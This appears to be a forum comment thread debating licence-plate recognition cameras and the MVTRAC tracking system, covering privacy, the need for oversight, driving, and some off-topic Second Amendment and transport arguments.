It didn't need to be illegal since it was so expensive that nobody would do it except in unusual circumstances (you're a stalker, or the subject is a suspect in a major crime).
Now it is getting to the point where lots of people can follow everybody around all the time in a distributed manner, and it is legitimate to ask the question of whether this is really a good thing.
in that era the word militia meant every white male between the age of 18 and 35 IIRC.
The part of the second amendment I like to point out is "enemies both foreign and domestic". The purpose of the second amendment is unquestionably to provide the people of this nation the tools required to overthrow an oppressive regime, should one ever come to power, either through the aggression of a foreign power or through the manipulation of the voting population.
"If you can't see past anb automobile in your life, you won't have a life to live much past 2025."
Citation very much needed!
Don't confuse what we drive today with what will be available that far in the future. As a mechanic, I'll be having Big Fun with the variety of powerplants and drivetrains that will be mature by then. My old Harley will still run on available fuels such as alcohol (conversion takes a couple of hours and the alky carb rebuild kit), as will my other techno-fossils. PHEV options will be common, and I'll enjoy the electrical power on my hybrid-or PHEV work truck (Eaton is doing hybrid F-550s now.)
"This post is an artistic work of fiction and falsehood. Only a fool would take anything posted here as fact."
Perhaps driving isn't technically a right, but in today's society you are unfairly hindered without being able to drive.
---- Booth was a patriot ----
I have a friend who can no longer drive for the same reason. Legally he can drive, but he's not so stupid
Is this Your Black Friend we're talking about? Or do you have more than one friend who lets you talk shit about people?
Or in your case, they wouldn't have moved 6 miles away from everything they needed, and you knew it when you moved
That's not what happened, although I don't want to get into it with you here.
You aren't fucked. Michael J Fox is fucked. Christopher Reeve was fucked. Stephen Hawking is fucked.
Michael J Fox, Christopher Reeve, and Stephen Hawking are commuting to work on bikes because they can't drive? Well Christopher Reeve is dead, so I know he's not biking to work.
go visit Europe, or hell, just move to any of the American city with public transportation
If Hell has a good public health care system, sure. But I think I'm going to be here with you.
Unfortunately, people who drive without insurance etc just find a car the same as theirs and copy the numberplate. Which means that all speeding tickets, parking fines, congestion charges etc go to the unfortunate owner of the original car. This is a growing problem, an ANPR is compounding it.
So, any ideas about how to legally stop OCR of the plate#?
After a little searching, I found the following in a google cache (this seems like
it is for the stoplight-runner cameras, but still: they've put some thought into this):
* Platefinder - Sophisticated firmware continually searches the camera's field of view for the presence of a license plate.
* Dual Lens Camera - As a license plate is detected, the dual lens camera is triggered to capture both color and infrared images of the vehicle and plate. Infrared cameras are able to see license plates regardless of sun glare, darkness, or other adverse conditions.
* Triple Flash Technology - This patented technology varies the flash, shutter and gain settings of the camera to capture multiple plate images, ensuring the highest quality photo regardless of light or weather conditions. Only the image determined to produce the highest quality read is sent on for processing.
* Optical Character Recognition "Engine" - Unlike some players in the ALPR community, MVTRAC does not use generic OCR engine for all states and regions. MVTRAC uses a customized OCR engine specific to the state or region of interest. MVTRAC OCR engines are very tolerant of skewed and off-axis plate reads, various plate sizes, syntax rules, and designs. The engine reads the captured infrared plate image and converts it to a data file.
* Processors - In addition to housing the patented Platefinder and triple flash technologies, MVTRAC processors perform the OCR translation and can use the captured data in a variety of ways via a MVTRAC software application or third party solution.
* Application Software- Software interfaces, specific to the industry or application, allow the user of the system to easily view and manage the data.
http://74.125.47.132/search?q=cache:t9W6EKcsOHgJ:mvtrac.threesphere.com/alpr/overview/+mvtrac+camera&cd=9&hl=en&ct=clnk&gl=us&client=firefox-a
ANPR (Automatic Number Plate Recognition) cameras are widespread in the UK and they definitely get my vote.
Sounds like there is already a country setup exactly how you desire your country to be setup.
That means there is no reason at all to continue trying to change our country to match your desires, while pushing your personal desires on millions of people who DON'T want them.
Tracking cell phones requires access to confidential information available only to the carriers and authorized people hence a reasonable assumption of privacy. A vehicle tag is available to anyone looking at it and therefore no reasonable assumption of privacy. See the difference?
The fact that vehicle tag information is collected in a database and sold does not change the fact that it is not confidential.
I for one welcome our new and interesting voyage into group supervision. If you think about it, our genome is pre-adapted to this sort of group surveillance, according to the cognitive science researchers. Wiki "Dunbar's number" (~150) to start.
I think it was Thomas Jefferson who suggested a (non-constitutionally-sanctioned) revolution every 20 years or so was a good thing.
The problem with revolutions is the people who come into power quickly become used to being in power. This goes for electoral (i.e. constitutionally sanctioned) "revolutions" as well. See the Reagan Revolution of 1980, the Republican victories in 1996, and numerous similar situations in Washington and local politics. "Throw the bastards out" generally results in a new crop of "bastards."
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
Why does somebody driving down the (public) road taking a picture of your (public) license plate on your car parked in (public) plain view and comparing it to a list need oversight?
Unless you've been living in some alternate reality or are just another one of the sheeple in this country who keep their heads buried firmly in the sand, the need for oversight should be painfully obvious. A database like this would be useful to banks looking to recover assets of course. However, I seriously doubt you can sit there with a straight face and offer a guarantee to everyone that this MVTRAC system will be used only for this purpose at the exclusion of all other possible uses a government or private organization that is not involved with asset recovery could have for it. In short, it's not the initial intent of the program that bothers me, but rather the broader implications on privacy. Creating yet another tool for people to be tracked and their driving habits monitored without bothering to put some framework in place to oversee who has access to it and what it's being used for presents a far to tantalizing opportunity for misuse.